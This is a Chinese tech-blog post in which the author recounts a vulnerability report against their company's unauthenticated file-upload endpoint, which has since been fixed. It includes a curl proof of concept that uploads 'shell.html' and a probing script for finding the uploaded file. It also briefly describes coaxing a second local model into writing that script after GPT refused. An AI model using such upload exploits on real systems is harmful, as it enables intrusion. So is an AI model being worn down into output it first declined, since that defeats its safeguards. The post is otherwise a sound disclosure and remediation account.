iT邦幫忙

2025 iThome 鐵人賽

DAY 5
0
Security

從1到2的召喚羊駝補破網之旅系列 第 5

Day 5 :被去年的夥伴反殺

  • 分享至 

  • xImage
  •  

[鐵人賽] Day 5:昨天還是檢測員,今天就被檢測了

寫在前面

還記得兩個月前,我穿著T組織技術檢測背心,當個「認真的實習檢測員」。結果誰知道,才剛換到新公司不到兩個月,就收到T組織的通報:「你們系統有漏洞」。

這種反差感,真的就像玩狼人殺,上一局還在驗別人,下一局馬上變成被驗的人。


通報內容

漏洞代號:CD-20250902-xxxxxxx
類型:A01:2021 – Broken Access Control 權限控制失效

細節:

POST /common/TeamUpload?fName=
參數:
  Filedata = 檔案內容
  FName   = 檔案編號

經測試,副檔名限制形同虛設,可上傳:
.pdf .html .png .jpg .txt .rar .zip

重點來了:完全不需登入、無 Cookie、無 Session,就能直接把檔案塞進伺服器。

https://ithelp.ithome.com.tw/upload/images/20250918/20165500N2VNvXVczr.png

換句話說,這就是一台 「誰來都能傳」的公用FTP


復現手法(重現篇)

其實 PoC 很單純,curl 就能跑:

curl -X POST "https://<目標>/common/TeamUpload?fName=12345" \
  -F "Filedata=@shell.html;type=text/html" \
  -F "FName=shell.html"

上傳後,直接在 /Inquiries/review_application 路徑就能瀏覽。

https://ithelp.ithome.com.tw/upload/images/20250918/20165500CjgQbDLn9N.png

© Copyright 丁@ㄈㄈ5丁. All Rights Reserved.

真是活生生的「昨天的自己打今天的自己」。


結語

出現這個漏洞我覺得是網頁運行的邏輯問題,考試總有成績吧,成績單不見了怎麼辦?

成績單寄發後不再補發,惟可依需要申請成績證書

然後千萬不該的,上傳證件申請會把路徑公開,檔案命名有規律性被猜出來。檔案也須經過身分驗證才能讀取,即使上傳候用使用特殊算法產生UID命名,仍然有可以被挑剔的地方。

https://ithelp.ithome.com.tw/upload/images/20250918/20165500zWHsmcycgo.png

問題我們已經改善了,總之在 Day 5(檢測員變成被檢測者) 這個情境裡,也可以帶出 LLM(例如 GPT)的輔助價值。順便套句動力阿伯的歌詞

別說抱歉 如果我這次也難以倖免
就 只求下手盡量 能輕一些


① 報告生成/改寫

這時候 LLM 的幫助可以是:

  • 把通報內容(技術描述、PoC)餵給 GPT,請它改寫成「主管看得懂」或「稽核報告格式」的版本。
  • 自動生成 修補建議清單,省下自己一條條對照的時間。

「結果還是靠 GPT 幫我把 TACCST 的技術通報,翻譯成主管看得懂的『補救說明』。要不是有這個,光寫報告就夠我頭痛一整天。」


② 復現腳本產生/安全化

這時候 LLM 的幫助可以是:

  • 把「危險的 exploit」改寫成 安全的 PoC(dummy file、只回應 HTTP code,不會產生破壞行為)
  • 自動生成 Bash / Python 版本的測試腳本,方便 QA team 或下一輪驗證。

「我只丟了一句話給 GPT:『幫我把這個上傳漏洞轉成一個不會破壞、只驗證存在的腳本』,結果它就生出了一份我不能幫你的回答,他比我這CEH v13道德駭客還有道德。」

https://ithelp.ithome.com.tw/upload/images/20250919/2016550005WAtLBQSo.png

最後的最後
這是跟羊駝好言規勸拉鋸了好久請他兄弟出馬才吐出的結果

# 產生檔案(內含唯一 token)
TOKEN=$(uuidgen)
echo "upload-test-token:${TOKEN}" > /tmp/upload_test.txt

# 上傳(純文字,不上傳 .html 或可執行檔)
curl -s -o /tmp/curl_resp.txt -w "%{http_code}" -X POST "https://<目標主機>/common/TeamUpload?fName=12345" \
  -F "Filedata=@/tmp/upload_test.txt;type=text/plain" \
  -F "FName=upload_test.txt" > /tmp/curl_status

HTTP_STATUS=$(cat /tmp/curl_status)
echo "HTTP status: $HTTP_STATUS"
echo "Response body saved to /tmp/curl_resp.txt"

# 如果 HTTP 200/201 則嘗試在常見路徑尋找檔案(可依環境調整)
HOST=https://<目標主機>
FNAME="upload_test.txt"

for p in "/uploads" "/common/uploads" "/common/TeamUploadFiles" "/files" "/public/uploads" "/upload"; do
  URL="${HOST}${p}/${FNAME}"
  echo -n "Checking ${URL} ... "
  resp=$(curl -s -m 8 "$URL")
  if echo "$resp" | grep -q "upload-test-token:${TOKEN}"; then
    echo "FOUND at ${URL}"
    break
  else
    # 顯示 HTTP code for info
    code=$(curl -s -o /dev/null -w "%{http_code}" -m 8 "$URL")
    echo "no (HTTP $code)"
  fi
done


上一篇
Day 4 :免費開源 = 要還的技術債
下一篇
Day 6 :鐵人賽第一個周末來打副本
系列文
從1到2的召喚羊駝補破網之旅7
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言